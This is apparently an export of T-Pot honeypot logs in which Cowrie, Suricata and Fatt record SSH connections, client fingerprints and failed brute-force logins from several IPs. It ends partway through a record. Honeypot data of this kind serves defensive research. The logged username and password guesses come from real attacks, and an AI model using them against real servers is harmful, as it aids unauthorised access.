29847	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:30:24.00668+03	2021-09-20 14:45:02.245173+03	{"_id": "ugb4AnwBvYTbRNuErTj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:64211 (192.168.176.2:22) [session: 13f4b75de192]", "session": "13f4b75de192", "@version": "1", "protocol": "ssh", "src_port": 64211, "dest_port": 22, "timestamp": "2021-09-20T11:30:24.006680Z", "@timestamp": "2021-09-20T11:30:24.006Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29848	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:30:24.009818+03	2021-09-20 14:45:02.246142+03	{"_id": "uwb4AnwBvYTbRNuErTj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "13f4b75de192", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:30:24.009818Z", "@timestamp": "2021-09-20T11:30:24.009Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29865	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:30:29.524051+03	2021-09-20 14:45:02.269143+03	{"_id": "1Ab4AnwBvYTbRNuExTht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "13f4b75de192", "@version": "1", "duration": 5.5145838260650635, "timestamp": "2021-09-20T11:30:29.524051Z", "@timestamp": "2021-09-20T11:30:29.524Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29849	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:30:24.27201+03	2021-09-20 14:45:02.248177+03	{"_id": "vAb4AnwBvYTbRNuErTj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "13f4b75de192", "@version": "1", "timestamp": "2021-09-20T11:30:24.272010Z", "@timestamp": "2021-09-20T11:30:24.272Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29850	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:30:24.271444+03	2021-09-20 14:45:02.249171+03	{"_id": "vQb4AnwBvYTbRNuErzij", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 37765392586907, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 64211, "dest_port": 22, "timestamp": "2021-09-20T11:30:24.271444Z", "@timestamp": "2021-09-20T11:30:24.271Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29851	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:30:24.010711+03	2021-09-20 14:45:02.250142+03	{"_id": "vgb4AnwBvYTbRNuEsDjM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 64211, "timestamp": "2021-09-20T11:30:24.010711", "@timestamp": "2021-09-20T11:30:24.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29852	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:30:25.074607+03	2021-09-20 14:45:02.251142+03	{"_id": "xQb4AnwBvYTbRNuEsTji", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:35672 (192.168.176.2:22) [session: ae5b921192a5]", "session": "ae5b921192a5", "@version": "1", "protocol": "ssh", "src_port": 35672, "dest_port": 22, "timestamp": "2021-09-20T11:30:25.074607Z", "@timestamp": "2021-09-20T11:30:25.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29853	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:30:25.371151+03	2021-09-20 14:45:02.253141+03	{"_id": "yAb4AnwBvYTbRNuEtDi2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35672, "dest_port": 22, "timestamp": "2021-09-20T11:30:25.371151", "@timestamp": "2021-09-20T11:30:25.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29854	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:30:25.985345+03	2021-09-20 14:45:02.254142+03	{"_id": "ygb4AnwBvYTbRNuEtTjL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 18 seconds", "session": "b422715889bc", "@version": "1", "duration": 18.342864274978638, "timestamp": "2021-09-20T11:30:25.985345Z", "@timestamp": "2021-09-20T11:30:25.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29855	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:30:25.695228+03	2021-09-20 14:45:02.255141+03	{"_id": "ywb4AnwBvYTbRNuEtTjL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/33333333] failed", "session": "13f4b75de192", "@version": "1", "password": "33333333", "username": "root", "timestamp": "2021-09-20T11:30:25.695228Z", "@timestamp": "2021-09-20T11:30:25.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29856	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:30:26.636324+03	2021-09-20 14:45:02.257141+03	{"_id": "zwb4AnwBvYTbRNuEuTiz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [admwizzbe/pwdbewizz] failed", "session": "ae5b921192a5", "@version": "1", "password": "pwdbewizz", "username": "admwizzbe", "timestamp": "2021-09-20T11:30:26.636324Z", "@timestamp": "2021-09-20T11:30:26.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29857	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:30:24.271635+03	2021-09-20 14:45:02.258143+03	{"_id": "vwb4AnwBvYTbRNuEsDjM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 64211, "dest_port": 22, "timestamp": "2021-09-20T11:30:24.271635", "@timestamp": "2021-09-20T11:30:24.271Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29858	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:30:25.077517+03	2021-09-20 14:45:02.259142+03	{"_id": "xgb4AnwBvYTbRNuEsTji", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ae5b921192a5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:30:25.077517Z", "@timestamp": "2021-09-20T11:30:25.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29859	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:30:25.36459+03	2021-09-20 14:45:02.260142+03	{"_id": "xwb4AnwBvYTbRNuEsziL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 921190773357245, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35672, "dest_port": 22, "timestamp": "2021-09-20T11:30:25.364590Z", "@timestamp": "2021-09-20T11:30:25.364Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29860	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:30:25.078578+03	2021-09-20 14:45:02.262142+03	{"_id": "yQb4AnwBvYTbRNuEtDi2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35672, "timestamp": "2021-09-20T11:30:25.078578", "@timestamp": "2021-09-20T11:30:25.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29861	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:30:25.37175+03	2021-09-20 14:45:02.264142+03	{"_id": "zAb4AnwBvYTbRNuEtTjL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ae5b921192a5", "@version": "1", "timestamp": "2021-09-20T11:30:25.371750Z", "@timestamp": "2021-09-20T11:30:25.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29862	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:30:26.983765+03	2021-09-20 14:45:02.265142+03	{"_id": "zgb4AnwBvYTbRNuEuTiz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/3345678] failed", "session": "13f4b75de192", "@version": "1", "password": "3345678", "username": "root", "timestamp": 